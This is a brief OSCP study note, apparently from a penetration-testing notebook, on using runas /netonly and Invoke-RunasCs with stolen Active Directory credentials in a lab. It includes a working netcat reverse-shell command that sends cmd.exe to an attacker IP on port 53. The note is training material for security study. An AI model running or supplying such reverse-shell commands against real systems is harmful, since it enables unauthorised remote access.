oscp/Windows/Active Directory for OSCP/Valid Credentials/Runas (Invoke-RunasCs).md

Get that token authorization on windows so we can run bloodhound.

RunasCs/Invoke-RunasCs.ps1 at master · antonioCoco/RunasCs · GitHub

runas /netonly /user:active.htb\svc_tgs cmd

Invoke-RunasCs svc_mssql trustno1 "cmd /c C:\xampp\htdocs\uploads\nc.exe -e cmd.exe 192.168.45.227 53"
WORKS EVERYWHERE